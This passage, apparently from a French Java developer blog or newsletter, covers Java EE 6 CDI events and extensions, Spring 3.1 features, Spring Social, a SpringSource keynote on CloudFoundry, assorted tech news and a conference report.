Un event est matérialisé par un objet java (event object ou payload) et est marqué d’un ou plusieurs qualifiers (event qualifiers). Les qualifiers permettent de distinguer les events que l’on veut produire ou observer pour un type de bean donné. Techniquement, une méthode observatrice (observer method) aura le rôle de consommer l’event object, correspondant à un ensemble de qualifiers donnés.

//Permet de qualifier l'event
@Qualifier
@Target({FIELD, PARAMETER})
@Retention(RUNTIME)
public @interface Updated {}
//Observer method pour tout type de Customer
public void onAnyCustomerEvent(@Observes Customer customer) { ... }
//Observer method pour les Customer qualifié par @Updated
public void afterCustomerUpdate(@Observes @Updated Customer customer) { ... }
//Producteur d'un event de type Customer qualifié par @Updated
@Inject @Updated Event<Customer> customerEvent;
public void someMethod(Event<Customer> customerEvent) {
   ...
   customerEvent.fire(customer);
}

Les extensions CDI, l’avenir de Java EE ?

De base, les patterns et les fonctionnalités qu’offre CDI sont riches et nombreux. Mais, cela va encore plus loin. Le cœur de CDI a été conçu tel un bus d’événements. Au moment du chargement du conteneur, celui-ci envoie ses informations de contexte (détection d’annotations, de beans, etc.) dans un bus. Il est alors possible de capter ces événements via une SPI, contenu dans le package javax.enterprise.inject.spi. En implémentant cette SPI, il est ainsi possible de capter ces informations et d’effectuer des traitements propres. Cette architecture rend CDI modulaire et permet le développement d’extensions CDI portables.

Les développeurs de Seam 3 ont bien compris l’intérêt des extensions CDI et ont conçu leur framework comme un ensemble d’extensions à CDI. Si vous avez besoin d’une certaine fonctionnalité, il suffit d’ajouter le module concerné. Cela ouvre la voix à l’intégration d’api third-party et permet d’enrichir considérablement la plateforme Java EE,  de la même manière que Spring le fait avec ses modules et ses templates.

Par ailleurs, un projet très ambitieux encore en incubation chez Apache, nommé DeltaSpike a pour but de standardiser un ensemble d’extensions CDI, développé et maintenu par la communauté Java. Et éventuellement, ces extensions pourront être intégrées aux spécifications Java SE et EE. Les premiers contributeurs ont offert les « code base » de JBoss Seam3, Apache MyFaces CODI et CDISource. A terme, JBoss Seam 3 et consorts disparaitront pour laisser DeltaSpike la seule source d’extensions CDI portables et standards. L’avenir de Java EE passera donc aussi par le développement des extensions CDI.

Conclusion

Cet article avait pour vocation de démontrer que la plateforme Java EE 6 est aboutie et apporte des nouveautés majeures. Il n’a pas abordé toutes les spécifications, telles que JPA 2, Bean Validation 1.1 ou encore JSF 2.0.  Comme nous avons pu le voir, cette plateforme a rattrapé son retard par rapport au géant Spring. L’arrivée du Web Profile et des EJB Lite ouvre la voie à des conteneurs légers et testables.

Néanmoins, il y a quelques petites déceptions: par exemple, la gestion de la configuration et celle des profiles sont inexistantes contrairement à spring. On peut aussi regretter que le profile web n’inclue pas JMS, JAX-RS et JAX-WS. Enfin, la réussite de Java EE 6 est sans doute l’API CDI, qui apporte enfin l’injection de dépendances, de la modularité, et même plus avec ses extensions. Le projet Delta Spike qui consiste à devenir le catalogue de référence des extensions CDI est à surveiller de près.

Actualité éditeurs / SSII

• Spring Integration 2.1 (Par Bertrand Dechoux)
• Spring Data Redis 1.0.0 (Par Bertrand Dechoux & Mathieu Bigorne)
• « Big Data » par Nathan Marz et Sam Ritchie est disponible en MEAP (Par Bertrand Dechoux)
• Scalding, une API Scala pour Cascading par Twitter (Par Bertrand Dechoux)
• Firefox 10 sortira en version ESR (Par Benoit Lemoine)
• Firebug 1.9.0 (Par Bertrand Dechoux)

Le coin de la technique

• Seren : Serialization Enhancer (Par Jean Helou)
• Apologie des lambdas de blocks pour javascript (Par Jean Helou)
• Verbosité des langages de programmation (Par Olivier Michallat)

Evénements de notre communauté en France et à l’étranger

• L’artisanat, un métier d’avenir (Par Xavier Bucchiotty)
• Une semaine riche pour les User Groups

Actualité éditeurs / SSII

Spring Integration 2.1

Un an après la sortie en 2.0, Spring Integration est désormais disponible en version 2.1. On notera un meilleur support des scripts (Groovy, Ruby/JRuby, Python/Jython, et JavaScript) grâce à la JSR-223. Il est ainsi possible de définir des ‘filters, splitters, routers, transformers’ directement dans vos fichiers de configuration ou par l’intermédiaire de ressources, permettant de cette manière de recharger vos scripts à chaud. On notera également une meilleure intégration avec RabbitMQ/AMQP, GemFire, Redis et MongoDB.

Spring Data Redis 1.0.0

Spring Data Redis est sortie le mois dernier dans sa première version stable. Redis est une base de données clé-valeur avec d’excellentes performances qui peut stocker les types de données classiques (chaîne de caractères, liste, map …). Spring Data Redis fournit un niveau d’abstraction supplémentaire qui facilite l’interaction avec Redis. Cette version permet également d’utiliser Redis comme implémentation d’un cache via l’abstraction de Spring. Il s’agit de la première solution NoSql KeyValue supportée par Spring Data mais Riak ne devrait pas se faire attendre longtemps.

« Big Data » par Nathan Marz et Sam Ritchie est disponible en MEAP

Big Data est un univers à part entière et rend non triviale la conception d’une architecture à la fois rapide (« temps réel ») et supportant de grandes volumétries. Deux ingénieurs de Twitter, Nathan Marz -créateur de Storm- et Sam Ritchie en dévoilent les principes dans « Big Data, Principles and best practices of scalable realtime data systems ». Le livre n’est pour l’instant pas finalisé mais est disponible en MEAP (Manning Early Access Program). Le code bd50 vous permet de disposer d’une réduction de 50%.

Scalding, une API Scala pour Cascading par Twitter

Hadoop est un acteur incontournable du BigData. Pour autant, peu vous vanteront la concision des traitements de données implémentés en se basant uniquement sur son API Java. De nombreuses solutions apparaissent pour combler ce manque. Certaines introduisent un nouveau langage comme Pig et Hive. D’autres proposent une API plus succincte, mais en gardant un langage complet, comme c’est le cas de Cascading. Mecredi 11 Janvier, Twitter a rendu open source Scalding, son API Scala pour Cascading, simplifiant encore plus l’usage de MapReduce dans un environnement Scala. Pour les fans de Clojure, Cascalog est une solution similaire mais encore plus succincte. La version 1.8.5 est sortie le 4 Janvier.

Firefox 10 sortira en version ESR

La fondation Mozilla a finalement décidé de maintenir 2 versions de Firefox en parallèle : la première suivra le cycle de livraison actuel (toutes les 6 semaines); alors que la seconde, plutôt à destination des entreprises, aura un cycle de livraison d’un an. Cette version ESR (Extended Support Release), dont Firefox 10 sera le premier représentant, sera maintenue avec les mises à jour de sécurité uniquement, le moteur de rendu et la gestion de plugin n’évoluant pas.

Firebug 1.9.0

Pour les inconditionnels de Firefox, la version 1.9.0 de Firebug vient de sortir. On notera entre autres la possibilité de renvoyer les requêtes HTTP ou encore de visualiser les headers des réponses contenues dans le cache.

Le coin de la technique

Seren : Serialization Enhancer

Olivier Croisier a annoncé cette semaine SEREN, une bibliothèque destinée à accélérer la sérialisation des objets en améliorant le traitement des wrappers numériques et des chaînes de caractères.
Prenant la forme d’un agent pour la JVM, SEREN peut s’utiliser sans modifier le code existant et peut être ajouté ou supprimé simplement en redémarrant la JVM.

Comme toute amélioration de performance, il s’agit d’un compromis: SEREN propose d’augmenter un peu la taille du flux binaire sérialisé en échange d’un gain de vitesse, un compromis que l’auteur recommande pour la sérialisation mémoire en citant EHCache. Il est possible de configurer les classes « améliorées » par SEREN au travers des fichiers de configuration et d’un mécanisme de filtre qui peut être étendu au besoin.

Retrouvez l’introduction de SEREN sur son blog et le code sur github.

Apologie des lambdas de blocks pour javascript

Le working group ECMA, responsable de la définition du standard ECMAScript implémenté par javascript envisage l’ajout de lambdas de blocks à javascript, un ajout que Yehuda Katz défend dans un article de blog parfaitement illustré comparant ruby et javascript sur le terrain du principe de correspondance de Tennent, des lambdas de fonctions et des lambdas de blocks.
Les exemples utilisés présentent des refactorings d’une forme canonique vers des formes idiomatiques dans les deux langages pour illustrer les principes mis en œuvre, une excellente introduction au sujet.

Verbosité des langages de programmation

À l’heure où les comparaisons entre langages tournent souvent en guerres de clochers, Dhanji R. Prasanna (ancien employé de Google et membre du projet Guice) se livre à une analyse plus posée et réfléchie sur l’équilibre entre expressivité et lisibilité. Cet article se démarque par son pragmatisme, la pertinence des exemples choisis, et le recul évident de l’auteur sur un grand nombre de langages.

Lire Languages, Verbosity, and Java.

Evénements de notre communauté en France et à l’étranger

L’artisanat, un métier d’avenir

Plusieurs réflexions ont lieu en ce moment au sein de la communauté pour définir ce qu’est le métier de développeur. On en a parlé lors du Paris JUG d’Octobre 2011. Le mouvement de fond associé est bien sûr celui du Software Craftsmanship. Nous mettons cette semaine en avant deux entrées de blog pour nous aider à avancer sur le sujet.
Le premier article postule que le développement informatique ne peut-être vu ni comme un art ni une science. Pour l’auteur de ce blog, au titre provocateur, notre métier n’est pas purement un art car le produit fini fait quelque chose ni totalement une science car il n’y a pas de loi universelle sur le développement, il peut y avoir autant de réponse qu’il y a de développeurs. On peut accepter ces arguments ou pas. Mais au delà du pur débat d’idées on se rend compte qu’il est difficile d’expliquer un métier si complexe à une personne extérieure.

L’auteur revient aussi sur le caractère unique des réalisations informatiques, et unique dans sa réalisation comme ses défauts. Il porte l’empreinte des personnes qui l’ont réalisé. Nous avons tous notre propre expérience sur des outils, des méthodes, des technologies, et nous expérimentons quelques fois de nouvelles façons de faire. Cela rend la manière de réaliser le travail éphémère et inscrite dans un contexte.
C’est peut-être cela la différence entre produire et écrire du code. Une vision « industrialiste » de la production du code induit une idée de volume, de quantitatif. La production serait le résultat d’un processus établi au résultat attendu, le développeur n’étant que l’élément interchangeable de transformation de la spécification à la réalisation.
L’autre vision s’attache plus à l’aspect qualitatif et humain. Le travail est confié à une personne et est un élément prépondérant dans la rédaction d’une solution au problème donné. L’auteur d’un travail d’écriture de code se voit assigné une ligne directrice, à lui ensuite de tracer le meilleur chemin.

Le second billet revient sur l’importance de s’appuyer sur des personnes qui savent faire les choses. Créer une table de toutes pièces pour le commun des mortels ne semble pas compliqué. Un menuisier professionnel aura lui une toute autre vision de la réalisation. Il pensera à adapter au mieux son savoir-faire au besoin précis du client, anticipera bien plus de problèmes, choisira avec soin les outils et matériaux employés.
Nous sommes dans un contexte qui nous oblige à réduire le temps nécessaire pour mettre à disposition de nouvelles fonctionnalités. Comment alors expliquer à un utilisateur que le changement de formule de calcul d’un champ dans un rapport peut prendre plusieurs heures? Échangeons alors sur nos visions des choses. Si le client ne veut pas d’une table qui dure un siècle, il n’y a pas de raison de la fabriquer. Si par contre, il n’en a pas conscience, discutons ensemble pour trouver la meilleure façon de la réaliser. C’est en travaillant ensemble que le résultat sera celui attendu.

Une semaine riche pour les User Groups

Cette semaine est riche en événements proposés par les UG. Il y en aura pour tous les goûts.

Ce soir, mardi 17 :

• Le Lyon JUG propose une soirée Performance des serveurs en Java animée par Ludovic Poitou.
• Le Normandie JUG propose une soirée Annotation animée par Olivier Croisier.

Le mercredi 18, l’Alpes JUG propose une soirée Objectif Cloud avec Paul Sandoz et Nicolas De Loof.

Le jeudi 19 :

• Le Paris Groovy and Grails User Group accueilleCédric Champeau sur le thème Groovy 2.0 : un pas vers le typage statique.
• Le Toulouse JUG organise une soirée Grails animée par Vincent Barrier et Franck Silvestre.
• Le Paris Android User Group propose une conférence sur Ice Cream Sandwich animée par Léo Cacheux et Daniel Fages.
• Le Bordeaux JUG accueilleura Romain Maton pour une soirée Optimisez votre site web sur mobile.
• Le Mars JUG propose une soirée EclipseLink animée par Shaun Smith.

Pour vous tenir à jour, suivez le calendrier de conférences maintenu par Duchess France.

Productivity Enhancements in Spring 3.1

Costin Leau a commencé par remettre Spring dans le contexte actuel: l’évolution de Java EE tend vers une adoption rapide de EE6, Tomcat 7 apporte le support des Servlet 3 (de JEE 6) et le Cloud propose des solutions très diverses, de GAE basé sur Jetty à Amazon Elastic Cloud en passant par VMWare CloudFoundry proposant Tomcat. Bref les solutions sont multiples et Spring entend s’imposer en tant qu’élément commun permettant les bonnes pratiques facilitant le passage d’un environnement à l’autre.

Costin est ensuite entré dans le vif du sujet en détaillant les nouveautés qu’apportera Spring 3.1. Mais une précision s’imposait d’abord. Spring est souvent critiqué pour la verbosité de ses appplicationContext.xml, mais Costin a tenu à rappeler que depuis plusieurs années on peut configurer entièrement le conteneur en Java. Et c’est même disponible en Spring 2.0, grâce à un add-on ! Les critiques envers le xml ne sont donc pas fondées: comme toujours, Spring offre le choix.

Les nouveautés de Spring 3.1 sont les suivantes:

Nos applications doivent pouvoir être déployées dans différents environnements (serveur local, Cloud) ainsi que différents contextes. 2 fonctionnalités aident à cela:

• Afin de disposer des MEMES artefacts à déployers dans les différents environnements, il faut être capable de savoir dans quel environnement se trouve l’application pour qu’elle puisse adapter son comportement. On ne veut pas avoir à contruire des war/jar/ear/etc spécifiques à un environnement donné ! Une abstraction des propriétés a donc été effectuée (plus de détails ici) et elles peuvent donc être accédées de façon quasi-transparente tout en étant stockées dans:
  • JNDI
  • des propriétés systèmes
  • des fichiers .properties.
• Des profiles de beans permettant d’activer ou non certains beans seulement dans certains contextes. Par exemple en dev, vous n’utiliserez que qu’un mock d’authentification alors qu’en production le vrai service sera appelé. Couplé avec la configuration Java-based, on se contentera d’annoter un bean @Profile(« dev ») par exemple.
• Le c-namespace permet de simplifier légerement ses ApplicationContexts. Ainsi un bean pourra s’écrire

  <bean id="foo" class="x.y.Foo" c:bar-ref="bar" c:baz-ref="baz" c:email="foo@bar.com">
  <!-- au lieu de: -->
  <bean id="foo" class="x.y.Foo">
    <constructor-arg ref="bar"/>
    <constructor-arg ref="baz"/>
    <constructor-arg value="foo@bar.com"/>
  </bean>
  

• L’utilisation d’un cache se fera de manière aisée, de façon déclarative. Cette fonctionnalité est basée sur les paramètres d’entrée de la méthode et le principe est « même entrée, même sortie ». Les annotations @Cacheable et @CacheEvict parlent d’elle-même. Pour cacher les données, EHCache est prévu (ainsi qu’une ConcurrentMap pour le dev) mais on pourra aussi se brancher aisément sur GemFire ou Redis.

  // ici on utilise seulement la valeur brute de l'ISBN comme clef
  @Cacheable(value="book", key="#isbn.rawNumber")
  public Book findBook(ISBN isbn, boolean checkWarehouse, boolean includeUsed)
  // Suppression des entrées du cache avant de le recharger
  @CacheEvict(value = "books", allEntries=true)
  public void loadBooks(InputStream batch)
  

• Les servlet en version 3.0 seront de la partie avec un support de l’upload asynchrone grâce au nouveau MulitpartResolver.
• Spring sera à jour pour supporter de nouvelles versions de librairies:
  • Hibernate 4, pas encore sorti, déjà supporté.
  • Quartz 2.0 et 2.1. Mais leurs API n’étant pas compatible avec les précédentes versions, il faudra sans doute écrire du code spécifique. La compatibilité Quartz 1.5+ est de toutes façons conservée.
  • JDBC 4.1 apporté par Java 7
  • le framework fork-join lui aussi dans Java 7

Et la question qui vous brûle les lèvres est de savoir quand vous pourrez enfin mettre la main sur toutes ces bonnes choses: la RC1 est déjà disponible, la RC2 devrait débarquer la semaine prochaine et la version finale, Spring 3.1 GA « soon after ». Courage, ça ne va pas tarder !

Pour une description exhaustive des nouveautés de Spring 3.1, rien de mieux que la doc officielle.

Spring Social

Josh Long nous a quant à lui présenté Spring Social, une librairie qui fournit des abstractions pour faciliter les interactions avec les réseaux sociaux.

Comme nous le savons tous, les réseaux sociaux de nos jours sont fondamentaux: nombre de marques comptent sur eux pour leur marketing, pour assurer un support et suivi des utilisateurs, pour obtenir du trafic qualifié sur leur site… Même si vous n’êtes pas vous-même sur ces réseaux, tôt ou tard, vous travaillerez sur des projets où vous devrez interagir avec eux.

Tous ces réseau offrent des API HTTP/REST, ce qui est bien. Ce qui est mal par contre, c’est qu’ils disposent tous de formats et particularités qui nécessitent d’écrire du code spécifique à chacun.

Se connecter

Avant d’interagir avec les réseaux sociaux, il faut commencer par s’y connecter. Là intervient la notion de service provider.

Paramétrer la Connection

Mais encore faut il que votre webapp soit autorisée à manipuler le compte de votre utilisateur sur le réseau social. Pour cela, il faut que celui-ci l’y autorise. Et comme la suite des étapes, notamment pour l’authentification OAuth n’est pas triviale, Spring Social fournit le nécessaire pour faciliter et rendre générique ces étapes dans Spring MVC: c’est le ConnectController.

Interragir

Et pour utiliser toute la puissance de chaque réseau social, un module client spécifique est implémenté pour chacun et vous permettra d’accéder à vos listes d’amis (Facebook), de twitter (Twitter) ou d’autoriser un énième chasseur de tête à vous parler du poste extraordinaire qu’il a pour vous ou vos collègues (LinkedIn).

L’avantage d’un tel système est que si Facebook, par exemple, décide du moindre changement  de comportement de son API, le module client spécifique fournit par Spring sera rapidement mis à jour de façon à ce que vous puissiez continuer de façon transparente à y accéder.

Bien sûr un tel système d’abstraction a un certain coût et si vous souhaitez seulement interagir avec Twitter par exemple, vous feriez peut être mieux de passer directement par une librairie spécifique comme Twitter4J. Mais si vos besoin évoluent et que vous pouvez être amené à ajouter Facebook ou TripIt, la petite plomberie requise par Spring Social sera bien négligeable face au gain apporté par l’API unifiée.

Pour terminer, Josh a parlé de l’intégration de Spring Social avec Spring Intégration. Ce dernier apporte tout particulièrement le principe d’Hollywood (« don’t call us we’ll call you ») permettant de définir des callback qui seront appelés lorsque certains critères (plus de x mails reçus, arrivé d’un tweet, etc…) seront vérifiés. L’intégration se fait aisément avec des flux comme Twitter, RSS/Atom, l’envoi et la réception de mails POP3, SMTP, IMAP…

Bref, en plus du stand CloudFoundry, Spring était bien présent cette année sur le salon au travers de plusieurs conférence. Le framework continue à évoluer et à abstraire les accès à d’autres APIs. On regrettera juste ne pas avoir eu la moindre présentation sur Grails à se mettre sous la dent, d’autant que la version 2.0 ne saurait tarder.

A l’occasion de la what’s next qui se tenait jeudi 26 et vendredi 27 mai au grand rex à paris, le CTO de springsource est venu nous présenter les nouveaux projets et l’actualité de l’éditeur. plus précisément adrian colyer a commencé par nous parler des nouveaux défis de l’informatique, avec la mobilité et le développement android, les réseaux sociaux, et le cloud. tous ces sujets correspondent aux nouveaux besoins identifiés par springsource. il faut désormais déployer nos applications sur tout type de plateforme allant du site web à l’application mobile native, en s’interfaçant avec des réseaux sociaux comme les api facebook connect et twitter par exemple.

Le développement mobile

SpringSource s’intéresse de près à l’essor d’Android et fournit des solutions pour faciliter le développement d’applications pour cette nouvelle plateforme.
Le projet Spring-Android fournit des templates de clients REST pour faciliter la consommation des services du Backend. Il s’agit donc d’une version optimisée du RestTemplate pour l’environnement Android. Ce template permet de configurer facilement HttpClient 4.X avec du Marshalling JSON, XML, ou RSS.
Le deuxième besoin adressé par spring-android concerne l’authentification à des services distants, pour utiliser par exemple l’API d’authentification Twitter, ainsi qu’un service d’authentification propriétaire. Spring-android-auth permet d’une part de persister les informations de connexion et de session dans la base SQLite embarquée par Android, et d’autre part d’établir des sessions web via l’implémentation du protocole OAuth 1 (pour Twitter) et 2 (pour Facebook).
Adrian Colyer nous a aussi parlé du développement de l’application d’exemple GreenHouse développée en open source pour démontrer les capacités des projets mobiles de l’éditeur et pour mettre en avant les bonnes pratiques en la matière. GreenHouse repose sur l’utilisation de spring-mobile, une extension de spring-mvc pour créer des interfaces web destinées aux SmartPhones, spring-social pour s’interfacer avec les réseaux sociaux, et spring-android pour l’application cliente Android.
À vrai dire tous ces projets existent déjà depuis 2010 et ne sont pas vraiment de grandes nouveautés, mais il est tout de même intéressant de noter l’orientation mobile prise par l’éditeur.

Les réseaux sociaux

Après le nomadisme, Adrian Colyer a continué sa Keynote en nous parlant des nouveaux usages des réseaux sociaux et en mettant en avant le fait qu’aujourd’hui toutes les applications se doivent d’être connectées aux différents réseaux. SpringSocial fournit les templates nécessaires pour gérer l’authentification à différents réseaux sociaux et ajouter de nouveaux fournisseurs d’authentification, mais il permet aussi bien sûr d’en utiliser les API. Parmi les API supportées, j’ai retenu :

• Facebook
• Twitter
• LinkedIn
• GitHub

Tout comme le CTO de SpringSource, nous ne nous attarderons pas trop sur le sujet qui n’est finalement pas une nouveauté. Ce projet adresse principalement les développements grand public qui ne sont définitivement pas majoritaires dans notre industrie où l’application d’entreprise règne en maître. Adrian Colyer s’est permis un raccourci pour associer l’utilisation de ces services tiers aux nouvelles problématiques de stockage avec les NoSQL et big-data.

La persistance des données

Les RDBMS n’ont plus l’exclusivité de la persistence des données et SpringSource en a bien conscience. Adrian Colyer nous a donc parlé du projet spring-data dont le but est de faciliter l’utilisation des nouveaux services de persistance comme les NoSQL de tous types. SpringData introduit de nouvelles annotations pour gérer le mapping des beans vers les bases non relationnelles. Elles permettent de gérer finement la configuration du stockage sur des systèmes distribués.
La librairie se découpe en plusieurs sous-projets :

• mapping pour assurer le mapping des beans par des annotations unifiées pour les différents systèmes de données.
• Blob pour les systèmes de stockage sous forme de Blob tel Amazon S3.
• Column Store pour les NoSQL orientés colonne avec Cassandra et HBase.
• Document Store pour les NoSQL orientés document avec un support pour MongoDB et CouchDB.
• Graph pour les bases orientées graphe avec Neo4J.
• Key value store, les bases orientées clé-valeurs, avec le support de Riak, Reddis et Membase.
• Map-Reduce, pour simplifier des frameworks de MapReduce avec le support de Hadoop.

Voici donc une offrequi s’annonce largement étoffée par rapport aux templates déjà disponibles pour JDBC et JPA. Dommage que BigTable ne fasse pas partie du lot.

Le déploiement des applications

Le CTO de SpringSource nous a ensuite parlé de son nouveau cheval de bataille qu’est le déploiement. Rien de très étonnant avec la nouvelle mode DevOps et l’industrialisation des déploiements. Après les réseaux sociaux et leurs SAAS, il met en avant les architectures PAAS comme étant la solution d’avenir pour résoudre les problèmes de déploiement. Parmi les avantages du Platform As A Service, Adrian Colyer retient :

• La rapidité des déploiements
• Le coût de ce type d’hébergement
• La scalabilité des services

Toutes ces facilités permettent de réduire le Time to market tout en augmentant la flexibilité métier. Le discours est assez convaincant. Adrian Colyer nous parle ensuite des différents modes de fonctionnement avec le cloud public, le cloud privé et les services mixant cloud privé et public. À partir de là, il nous parle de ce qu’il appelle le micro cloud. En réalité, il s’agit du déploiement d’une architecture PAAS en local sur la machine du développeur. L’avantage étant de tester les développements directement sur une architecture iso-production, pour éviter les fameux bugs de production par exemple.

CloudFoundry

Nous abordons ici le gros sujet de la présentation en la personne de l’open PAAS (comprendre PAAS open source), avec le dernier né des services SpringSource CloudFoundry. Il s’agit d’un service monétisé de distribution et d’hébergement de type PAAS. Il permet d’obtenir son cloud privé ou public, seul le micro cloud est disponible gratuitement.

La solution fournit différents templates permettant d’intégrer des services applicatifs (frameworks de développement) et des services d’infrastructures (systèmes de gestion des données).
Le système supporte différents runtimes pour le développement:

• Java
• Ruby
• NodeJS

Il est aussi possible de choisir parmi différents services d’environnement:

• NoSQL(MongDB, Reddis) ou SQL (MySQL)
• Bus de message (RabbitMQ)

La solution gère nativement la scalabilité horizontale en définissant le nombre d’instances à lancer et le load-balancing entre les différents frontaux.
Adrian Colyer nous fait ensuite une petite démonstration avec l’outil vmc qui permet d’administrer le cloud sans mal. Avec ce petit utilitaire en ligne de commande, on peut déployer son application à partir du répertoire projet. Parmi les fonctions de vmc on retrouve :

• Déploiement de l’application
• Définition du nombre d’instances lancées
• Consultation de l’état des différents serveurs

L’outil possède sans doute d’autres fonctionnalités, mais elles ne faisaient pas partie de la démonstration. vmc semble vraiment facile à utiliser et permet manifestement de monter des architectures complexes très rapidement. Bien sûr ces affirmations sont à prendre avec des pincettes car nous sommes restés dans les clous d’une démonstration, sans aborder par exemple le problème de la configuration des middlewares ou des architectures un peu plus ésotériques. La solution suscite en tout cas l’intérêt et j’avoue avoir créé mon compte sur le site pendant la présentation.
Pour finir, Adrian Colyer nous parle d’une nouveauté dans la déclaration des beans Spring, qui permet de définir un profil correspondant à l’environnement de déploiement. Ainsi, les ressources d’environnement peuvent être directement déclarées dans la configuration Spring et s’adapter au profil en cours d’exécution. Par exemple cela permet de déclarer les datasources ou les URLs de connexion aux bus de messages.

Conclusion

Au final, il n’y a pas de grande révolution dans les annonces du CTO SpringSource. Le discours est resté très commercial, avec la mise en avant de toutes les solutions déjà au catalogue de l’éditeur. Il n’en est pas moins intérressant d’en tirer les axes de développement de SpringSource, à savoir les réseaux sociaux, le NoSQL et le PAAS. Parmi les termes revenus les plus souvent, nous retiendrons la scalabilité, les applications polyglottes, avec l’entrée de NodeJS sur le devant de la scène. Bref SpringSource, entré dans le giron de VMWare, mise l’essentiel pour ne pas dire tout sur son nouveau service CloudFoundry.

• La présentation sur SlideShare
• Le retour sur le blog de Zenika

Premier Jour 

Tout commence par un petit mot d’accueil de Carl Azoury qui nous parle de l’investissement de Zenika dans l’organisation de l’évènement. Cinq mois de préparation, pour un budget total de 150k euros avec 35k d’entrée et 45k de financement par les sponsors. Bref, Zenika n’a pas ménagé ses efforts pour réussir cette grande première.

C’est ensuite au tour d’Adrian Colyer de venir nous parler des orientations prises par SpringSource. Voici les points marquants :

• SpringSocial permet de s’interfacer avec les SaaS des différents réseaux sociaux.
• SpringMobile facilite le développement d’applications Android et de sites web destinés aux WebPhones.
• SpringData vient faciliter l’utilisation de NoSQL sous toutes ses formes avec des annotations assurant le mapping des beans Java.
• CloudFoundry — le sujet principal de cette KeyNote — fournit un PaaS open source facile à utiliser permettant de faire du cloud publique, privé ou micro en local sur la machine du développeur.

Boris Bokowski prend la suite pour nous faire une démonstration autour d’Eclipse Orion, un IDE en ligne développé en HTML5. Il s’agit en réalité d’un IDE pour le développement web qui intègre quelques fonctionnalités basiques comme la coloration syntaxique, la recherche, l’auto-complétion des mots clés, l’intégration des SCM comme Git et la possibilité de publier son travail via FTP ou SFTP. L’outil possède un système de plugin que nous n’avons pas pu découvrir pour cause d’effet démo. Boris y voit la possibilité d’intégrer une multitude de petits outils en ligne en définissant un réel standard. Pour ce qui est de l’éditeur en lui-même, il faut reconnaître que les performances sont impressionnantes: le navigateur ne ralentit pas même en éditant de très gros fichiers (15k lignes et plus). Au final, Orion ressemble davantage à un éditeur texte avancé du même type que notepad++ mais pas à un réel IDE. L’idée est intéressante mais il y a encore beaucoup de travail à réaliser pour en faire un outil capable de supplanter nos IDE lourds.

Après une pause déjeuner régime (un sandwich) un peu courte, Howard LewisShip vient nous présenter Clojure. Clojure est un dialecte de Lisp (famille de langages fonctionnels) tournant sur la JVM. La syntaxe est sensée être plus légère que Java qui multiplie les accolades et autres crochets. Attention, le langage est presque purement fonctionnel et ne joue pas la mixité avec le paradigme objet. La présentation est parfaitement maîtrisée et Howard s’avère être un très bon speaker, malheureusement le langage apparait d’une complexité impressionnante avec une syntaxe très difficile d’accès pour les Javaistes que nous sommes. Comme souvent pour ce type de langage, Clojure se distingue dans la manipulation des collections. La grande majorité de l’auditoire est apparue quelque peu perdue dans la syntaxe, peut-être était-ce dû à l’effet digestion.

C’est ensuite au tour de Jevgeni Kabanov de prendre la parole dans une présentation pleine de vie sur la gestion de la mémoire dans la JVM. Tout commence par le CPU qui embarque sa propre gestion de la mémoire dans ses caches, puis Jevgeni nous parle de la mémoire paginée de l’OS pour finir par s’intéresser à la JVM proprement dite. Par exemple, l’utilisation du mot clé volatile empêche la mise en cache CPU de la donnée, tandis que le mot clé synchronized crée des points de synchronisation dans les registres du CPU. Jevgeni enchaîne avec le fonctionnement des différents garbage collectors et le problème des pauses GC qui bloquent la JVM. Il met en avant le ConcurrentMarkSweep qui permet d’obtenir des temps de pause courts mais au prix d’une forte fragmentation de la mémoire alors que le G First permet d’obtenir des temps de réponse courts sans fragmentation.  La conclusion vient enfin avec une courte introduction du travail réalisé par Azul sur la plateforme Zing qui permet de faire tourner des JVM sans pause GC. Une présentation très intéressante par un speaker de grande qualité.

Jags Ramnarayan vient nous présenter SQLFire, qui n’est ni plus ni moins qu’un moteur SQL pour Gemfire. La solution permet de travailler en SQL sur la grille de mémoire. Parmi les points intéressants, on pourra noter que cela permet de travailler directement en JDBC sans avoir à utiliser une nouvelle API spécifique à la mode des NoSQL standards. La solution propose des transactions distribuées sans réaliser de verrouillage globale. SQLFire utilise quelques modifications du DDL pour gérer la distribution des données comme la réplication, et la co-localisation pour les données liées. Bref une solution intéressante qui peut avoir l’avantage de réduire le temps de prise en main des NoSQL pour ceux qui sont prêts à en payer la licence.

Le dernier slot est présenté par Brad Drysdale qui vient nous présenter les WebSockets d’HTML5. Cette nouvelle technologie portée par le W3C permet de réaliser des communications Full Duplex entre le serveur et le navigateur. Le gros avantage de cette solution par rapport aux autres techniques comme le polling et le long-polling, est de ne pas reposer sur le protocole HTTP qui est par essence très verbeux. Brad nous indique que cela permet de réduire drastiquement la consommation de bande passante pour les échanges client-serveur. La présentation est très didactique et sans démonstration, le but n’est pas de mettre en avant les solutions de Kaazing mais bel et bien la technologie en elle même. Brad est très convaincant, et la grande majorité de la salle semble vouloir se mettre aux WebSockets.

La journée se termine par une soirée organisée par Atlassian avec boisson et gâteaux apéritif, l’occasion idéale pour discuter de cette première entre auditeurs ou avec les speakers qui sont tous présents et disponibles.

Deuxième jour

Neal Gafter ouvre le bal de cette deuxième journée par une présentation retraçant l’histoire de Java et son avenir « proche ». Nous ne décrirons pas ici la chronologie complète de Java. Depuis la première release en 95, la technologie connaît un succès croissant jusque dans le début des années 2000 ou le nombre de participants à la JavaOne commence à fluctuer à la baisse. Les évolutions du langage sont très importante jusqu’en 2004 à la sortie de la J2SE 5.0.
Là, Neal en profite pour nous parler de Java Puzzler publié en 2005 et nous donne 2 exemples tirés du livre ; l’assemblée se prête volontier à cet exercice amusant. Puis viens 2006 avec la publication de Java 6, de JEE 5 et la distribution de la JVM HotSpot sous GPLv2. Les nouvelles versions se sont enchainées tous les deux ans, mais en 2007 alors que SUN travaille à l’OpenJDK sous licence GPL, Apache annonce Harmony, son implémentation de Java sous licence ASF. La discorde commence entre SUN et Apache au sujet de la licence du TCK qui n’est pas compatible avec la licence d’Harmony, interdisant du même coup la validation du projet Harmony comme compatible Java 5. Oracle demande d’ailleurs courant 2007 à SUN de supprimer les limitations de la fameuse licence pour permettre la validation d’Harmony. A noter tout de même qu’en 2002 SUN avait annoncé être prêt à ouvrir la licence du TCK. En 2009, JEE 6 est finalement approuvé malgré de nombreuses discordes. Pour en finir en 2010, année du rachat de SUN par Oracle, qui fait bouger les choses, en forçant le JCP à approuver les futures version 7 et 8 de la J2SE. IBM le contributeur principal va aussi abandonner Harmony au profit de l’OpenJDK. Apache claque la porte du JCP, Oracle lance un procès contre Google au sujet de Dalvik la VM d’android qui repose en partie sur Harmony et confirme que la licence du TCK ne changera pas. Voilà pour la chronologie, Neal passe ensuite naturellement aux 